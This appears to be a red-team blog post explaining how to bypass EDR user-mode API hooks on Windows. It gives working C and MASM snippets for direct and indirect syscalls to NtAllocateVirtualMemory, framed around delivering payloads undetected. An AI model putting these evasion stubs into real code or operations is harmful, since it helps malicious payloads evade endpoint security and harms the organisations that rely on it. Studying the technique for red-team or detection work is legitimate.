Hi Fellows,
I have been reading some insightful posts on the internet concerning red teaming exercises. I am particularly interested in topics that delve into methods for evading detection and safely delivering payloads for execution.
I have been utilizing Cobalt Strike for several years during red team exercises. One notable feature is the generation of the Cobalt payload, which requires the selection of a specific option from a dropdown menu for Direct or Indirect Syscal.

The above-mentioned feature is primarily intended to facilitate the interaction of the beacon with the Windows Operating System through direct or indirect syscalls, with the aim of evading detection by EDR.
Most EDR will apply their hooking mechanism on most of the windows API in order to allow them to intercept API call from the application. The basic is here https://rioasmara.com/2022/12/15/windows-api-hooking/
Based on the article that I mentioned above, The user land hooking will actually replace the 5 bytes of API call in order to jump to EDR check. Below is the NtAllocateVirtualMemory

Once the bytes are overwritten by the EDR for analysis, the intricate process of restoring the original code without the hook comes into play. We aim to overwrite the code with the standard version, as illustrated below.

Direct Syscall
The primary purpose of direct syscal is to invoke the API using a newly created copy of the API. A system service number (SSN) is then referenced, located at the 5th byte from the API pointer.

So, The idea is get the SSN and put into a variable such as wNtAllocateVirtualMemory.
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 5th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
Once the system service numbers (SSN) is obtained, we proceed to replace the function call in our code by directly injecting the assembly code into our C code as shown below. Consequently, every instance of the NtAllocateVirtualMemory function call will be executed using the provided assembly, instead of the version with EDR hooked.
EXTERN wNtAllocateVirtualMemory:DWORD
.CODE ;
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, wNtAllocateVirtualMemory
syscall
ret
NtAllocateVirtualMemory ENDP
END ;
We can see that the call to NtAllocateVirtualMemory is now has been overwritten and directly call the SSN from the our code.

Our code directly call the API by its SSN, this is why the reason it is called direct syscall.
Indirect Syscall
We understand that using the direct system call may alert the EDR to an anomaly, as our code now directly invokes the API from the userland code. In order to evade detection by the EDR, we will need to adjust the method of invoking the API. The objective is as follows:
- Firstly, the syscall command is executed within the memory of the ntdll.dll, rendering it legitimate for the EDR.
- Conversely, the execution of the return statement occurs within the memory of the ntdll.dll, directing from the memory of the ntdll.dll to the memory of the indirect syscall assembly.
Beside obtaining the SSN, it is crucial to also acquire the reference, specifically the syscall located 18 bytes from the beginning of the API address.

With the provided code, it is possible to extract both the SSN and SYSCALL from the original NTAllocateVirtualMemory API code.
// Get a handle to the ntdll.dll library
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
with the below assembly code to overwrite the call
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the
EXTERN sysAddrNtAllocateVirtualMemory:QWORD ; The actual address of the NtAllocateVirtualMemory syscall in ntdll.dll.
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, wNtAllocateVirtualMemory
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]
NtAllocateVirtualMemory ENDP
END

By directing the jump to the syscall address residing in the ntdll.dll, the call is initiated from within the memory space of the ntdll.dll, thereby creating no anomalies in the API. This reduces the likelihood of EDR detection during the API calling process.